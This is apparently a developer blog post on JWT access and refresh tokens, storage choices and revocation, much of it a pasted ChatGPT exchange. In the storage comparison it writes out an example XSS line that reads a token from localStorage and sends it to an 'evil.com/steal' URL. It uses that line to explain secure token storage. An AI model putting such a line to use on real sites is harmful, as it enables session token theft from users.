Skip to main content

Command Palette

Search for a command to run...

JWT Description

Published
13 min readView as Markdown

Why “Bearer” Exists

In the early days, there were several types of authorization schemes, like:

  • Basic — sends username and password encoded in base64

  • Digest — uses hashed credentials

  • Bearer — uses a token

So Bearer simply tells the server which scheme is used to validate the header.
In this case:

“Hey server, I’m sending a Bearer token. You can trust me based on this token.”

Example Flow

  1. User logs in → server issues a JWT token (e.g., eyJhbGciOi...).

  2. Frontend stores that token (usually in memory or localStorage).

  3. Frontend makes API request with:

     GET /api/profile
     Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6...
    
  4. Backend verifies the token and sends back the user data.

First, What Happens Without JWT

Imagine a traditional session-based login (like in PHP or older web apps):

  1. You log in → the server checks your credentials in the database.

  2. It creates a session record in the DB (or Redis) that says:

     session_id: 12345 → user_id: 7
    
  3. The client stores a cookie with that session ID.

  4. On every new request:

    • The client sends the cookie.

    • The server looks up the session in the database to know who you are.

So each request → extra DB lookup.


Now with JWT (JSON Web Token)

  1. You log in → the server checks your credentials in the database once.

  2. The server creates a signed JWT that includes the user’s data (like user_id, email, and roles).
    Example payload:

     {
       "user_id": 7,
       "email": "niraz@example.com",
       "role": "admin",
       "exp": 1731543599
     }
    
  3. The token is sent to the client and stored (in localStorage or an HTTP-only cookie).

  4. On every request:

    • The client sends the JWT in the header:

        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6...
      
    • The server verifies the signature using a secret key (no DB needed).

    • If valid → the data inside the token is trusted and used directly.

No need to query the database to find out who the user is — it’s all in the token.

1. Access Token (JWT)

When you log in, the server gives you a JWT (access token).
It looks like this:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6...

This token:

  • Identifies who you are.

  • May include your role, user ID, and permissions.

  • Has an expiry time (usually short, e.g., 15 minutes or 1 hour).

Why Expiry?

Because JWTs are stateless, the server doesn’t track or store them — so:

  • If it gets leaked, anyone can use it.

  • You can’t “log out” from the server side (since it’s not stored there).

So the solution: make it expire quickly ⏳


🕑 Example

Payload inside JWT:

{
  "user_id": 7,
  "email": "niraz@example.com",
  "exp": 1731543599
}

Here exp is the expiration timestamp.

So after that time, if someone tries to use the token:
➡️ The server will reject it as expired.


🔁 2. Refresh Token

Now the problem:
If your JWT expires every 15 minutes, the user would have to log in again repeatedly. That’s annoying 😩

So we introduce another type of token — the Refresh Token.


🔐 What Is a Refresh Token?

A refresh token is:

  • A long-lived token (e.g., valid for 7 days or 30 days).

  • Usually stored securely (e.g., in an HTTP-only cookie).

  • Used only to request a new access token when it expires.


🔄 How It Works Together

Here’s the flow 👇

1️⃣ Login → Server gives:
     - Access Token (short life)
     - Refresh Token (long life)

2️⃣ Access Token expires after 15 minutes

3️⃣ Client sends Refresh Token to get a new Access Token

4️⃣ Server verifies the Refresh Token and issues a fresh JWT

5️⃣ User continues seamlessly without logging in again

🧠 Visualization

   [Login]
      ↓
+--------------------------+
|  Access Token (15 min)  |
|  Refresh Token (7 days) |
+--------------------------+

After 15 min:
[Access Token expired] ❌
→ Use Refresh Token to get new Access Token 🔁

⚙️ Example API Flow

Login Response:

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6...",
  "refreshToken": "8c6f02b2e6d94b58a77b..."
}

Access Token used on requests:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6...

When expired → Refresh API:

POST /api/refresh
Body: { "refreshToken": "8c6f02b2e6d94b58a77b..." }

Server verifies → returns new access token.


🧱 3. Storing Refresh Tokens Securely

Because refresh tokens last longer, they must be protected carefully:

  • Store in HTTP-only cookies (not localStorage).

  • Always use HTTPS.

  • Optionally, store refresh tokens in a database so you can revoke them if needed (e.g., when a user logs out).

1. “Do users have to manually send the refresh token?”

No.
The user doesn’t do it manually — your frontend code (client) handles that automatically.

Here’s how it works:

1️⃣ User logs in → receives Access Token + Refresh Token.

2️⃣ Client stores both securely (Access Token in memory, Refresh Token in cookie).

3️⃣ When Access Token expires:
     → The frontend automatically calls `/refresh` API.
     → Sends Refresh Token (from cookie).
     → Gets new Access Token.

So, to the user, it feels seamless — they stay logged in unless the refresh token itself expires.


⏳ 2. “If access token expiry is 15 min, is refresh token sent before 15 min?”

Usually yes, the frontend sends the refresh request just before or after the access token expires.

There are two strategies:

🕐 Strategy 1: On-demand refresh (common)

  • The client tries to use the access token.

  • If the server says “token expired,” the client calls /refresh immediately.

🕒 Strategy 2: Proactive refresh

  • The client keeps track of the expiry time (e.g., exp field in JWT).

  • Automatically calls /refresh a few minutes before expiry (like at the 14-minute mark).

So, yes — it can be automatic, and refresh happens before or right after the token expires depending on your setup.


Excellent question — this is about security.
Let’s see the difference 👇

StorageAccess MethodCan JS Read It?Vulnerable ToSafer For
localStoragewindow.localStorage✅ Yes❌ XSS (Cross-Site Scripting)Access Token (short-lived)
HTTP-only cookieSent automatically with requests🚫 No (JS can’t access it)❌ CSRF (Cross-Site Request Forgery)Refresh Token (long-lived)

🧠 Explanation:

  • LocalStorage can be read by JavaScript.
    If your site ever has an XSS bug, attackers can steal the tokens.

  • HTTP-only cookies cannot be read by JavaScript at all.
    The browser handles them automatically with every request, making it much harder for attackers to steal.

So:

🔹 Use localStorage (or memory) for access tokens.
🔹 Use HTTP-only cookies for refresh tokens.

Because refresh tokens live longer, they must be more protected.


💾 4. “What do you mean by storing refresh tokens in a database to revoke them?”

Perfect — this is the part that makes your JWT system revocable and secure.

Here’s the issue:
JWTs are stateless — once created, the server can’t “un-give” them.
So if a token is stolen, it stays valid until it expires.

To fix this, we store refresh tokens in the database like this:

user_idrefresh_token_idexpiryvalid
78c6f02b2e6d94b58...2025-11-20

Now you can:

  • Invalidate (revoke) a refresh token when the user logs out:

      UPDATE tokens SET valid = false WHERE user_id = 7;
    
  • Detect reuse or suspicious activity (e.g., if the same refresh token is used twice).

🧭 Flow

[User logs in] → Store refresh token in DB
[User logs out] → Delete or mark invalid
[User tries refresh] → Server checks DB
       → If invalid → reject

This makes your authentication system:
✅ Stateless for access tokens
✅ Controlled for refresh tokens

okay suppose the access token is expired and now if i send /refresh, will it send the new acess token? and why access token is also not stored in cookie?

ChatGPT said:

Fantastic — you’re really getting into the heart of how token-based authentication systems work, Niraz 👏
These questions show you’re thinking like someone who wants to design secure systems, not just use them — that’s exactly the right mindset.

Let’s answer both parts step-by-step with examples and reasoning 👇


🔁 1. When the access token expires and you call /refresh

Yes — exactly!
When your access token expires, your frontend (or API client) will call a special endpoint like:

POST /api/refresh

It sends the refresh token, usually stored in a secure HTTP-only cookie, something like this:

Example Request

POST /api/refresh
Cookie: refreshToken=8c6f02b2e6d94b58a77b...

What the Server Does

  1. ✅ Reads the refresh token from the cookie.

  2. ✅ Verifies it (checks signature + expiry).

  3. ✅ Optionally, checks in the database if the refresh token is still valid (not revoked).

  4. 🔁 Generates a new access token (JWT) and possibly a new refresh token.

  5. 🚀 Sends the new access token back to the client.

Example Response

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6..."
}

Now your client replaces the old expired access token with the new one — and you continue making API calls as usual, without logging in again.


🔄 Visual Flow

Access Token expired ❌
↓
Send Refresh Token (cookie) → /refresh
↓
Server verifies + issues new Access Token ✅
↓
Client replaces old token and continues

This keeps the experience smooth for the user — they stay logged in for days or weeks, while the server stays secure and stateless.


This is a really important security design decision.

Let’s break it down.

⚙️ Cookies are sent automatically with every request

If you store the access token in a cookie, the browser will automatically send it to every request — even to third-party domains if not configured properly.

That can expose you to a dangerous attack called CSRF (Cross-Site Request Forgery).

Example of CSRF:

Imagine you’re logged into your bank site:

bank.com/api/transfer-money

Now you visit a malicious site:

evilsite.com

If your access token is automatically attached in a cookie, the attacker could secretly make a POST request to your bank API — and your browser would include your access token automatically 😱

So the server would think you authorized the action.


🧠 Solution (Best Practice)

  • Keep the Access Token in memory or localStorage.

    • That way, it’s only sent when you explicitly attach it in the Authorization header.

    • This gives you full control over where it’s used.

    • It’s short-lived (e.g., 15 minutes), so even if stolen, the damage is limited.

  • Keep the Refresh Token in a secure HTTP-only cookie.

    • It’s never accessible to JS (so XSS can’t steal it).

    • It’s only used for token renewal (not for accessing user data).


🔐 Security Summary

TokenWhere StoredSent Automatically?RiskUse
Access TokenMemory or localStorage❌ NoLow (short life)For API requests
Refresh TokenHTTP-only Cookie✅ YesLow (HTTP-only)For renewing access token

🧱 Analogy (to visualize)

Think of it like a hotel 🏨:

TokenAnalogyExpiryWhere kept
Access TokenRoom key cardValid for a few hoursYou carry it (localStorage)
Refresh TokenMaster key to get new room keyValid for weeksKept securely at reception (cookie/server)

When your room key expires, you go to reception (refresh endpoint), show your master key (refresh token), and get a new room key (access token).


✅ In short:

  • Yes, /refresh gives you a new access token when the old one expires.

  • Access token is not stored in a cookie because cookies are sent automatically → risk of CSRF.

  • Refresh token is stored in a secure HTTP-only cookie because it’s safer and longer-lived.


Would you like me to show a complete diagram (timeline + arrows) of this flow — including login, expiry, refresh, and logout — to help lock this concept visually?

You said:

but isnt it the same thing? because if anyone has access to refresh token, acess token is easily acquired.

ChatGPT said:

That’s a brilliant observation, Niraz — and you’re absolutely right to challenge that logic.
This is exactly how a security engineer thinks 👏

Let’s unpack this carefully — because the difference isn’t whether the token grants access, it’s how hard it is for an attacker to get it and how much damage they can do if they do get it.


🔍 Yes, in principle…

If an attacker gets your refresh token,
they can get new access tokens — so yes, it’s just as dangerous.

However… in practice, we reduce the chances of the refresh token being stolen by where and how we store it.

Let’s compare the two by attack surface rather than just capability.


⚔️ Access Token vs. Refresh Token — What’s Really Different

FactorAccess TokenRefresh Token
LifespanShort (e.g., 15 min)Long (days or weeks)
Stored inMemory or localStorage (accessible to JS)HTTP-only cookie (not accessible to JS)
Sent withAuthorization header (only where we decide)Automatically with /refresh API
Main ThreatXSS (JavaScript injection)CSRF (forged request)
Impact if stolenAttacker can use APIs for ~15 minsAttacker can get new tokens until revoked or expired
DefenseShort expiry, refresh mechanismSecure cookie flags + optional DB validation

🧠 So Why Use Cookies for Refresh Tokens?

Because HTTP-only cookies protect against XSS attacks (Cross-Site Scripting).

Let’s visualize:

❌ LocalStorage (for refresh token)

// Attacker injects malicious JS
const token = localStorage.getItem("refreshToken");
fetch("https://evil.com/steal?token=" + token);

💀 Token stolen immediately — nothing stops it.


// Attacker tries the same
document.cookie  // 🚫 Won’t show refresh token at all!

Cookies marked as:

HttpOnly; Secure; SameSite=Strict

→ cannot be read by JavaScript.
→ only sent by the browser to your trusted domain (e.g., yourserver.com).
→ not sent to any third-party sites.

So even if your app has an XSS vulnerability, the attacker can’t access the refresh token.


🧱 Defense Layers: The Real Strategy

It’s all about layered security, not a single bulletproof rule.

Let’s visualize it as layers:

               ┌──────────────────────────┐
               │ Refresh Token (cookie)   │ ← Protected from JS (HttpOnly)
               ├──────────────────────────┤
               │ Access Token (memory)    │ ← Protected by short lifespan
               ├──────────────────────────┤
               │ HTTPS + CORS restrictions│
               ├──────────────────────────┤
               │ Backend signature checks │
               └──────────────────────────┘

Together, these layers make it really hard for an attacker to:

  1. Steal your refresh token, and

  2. Use it to mint access tokens indefinitely.


🧩 And That’s Where Revocation Comes In

If the refresh token is ever compromised (rare, but possible),
you can invalidate it server-side.

Because refresh tokens are either:

  • Stored in a database, or

  • Contain a unique ID (jti) tracked on the server.

Then, on the next /refresh request:

  • The server checks if the token is still valid.

  • If it’s been marked as revoked → ❌ reject.

That’s the “kill switch” you can’t have with stateless access tokens.


🧠 Analogy (for intuition)

Imagine:

  • Access token = your room key card
    (works for a short time; if lost, it’s useless after checkout)

  • Refresh token = your hotel ID card at the front desk
    (lets you get a new key card, but is guarded behind the counter and logged in their system)

Both grant access —
but one is tightly controlled and logged,
while the other is short-lived and easily replaced.


In summary:

You’re correct — both tokens grant access if stolen.
But refresh tokens are stored more securely and monitored more tightly,
while access tokens are short-lived and deliberately not auto-sent.
Together, they balance usability and security.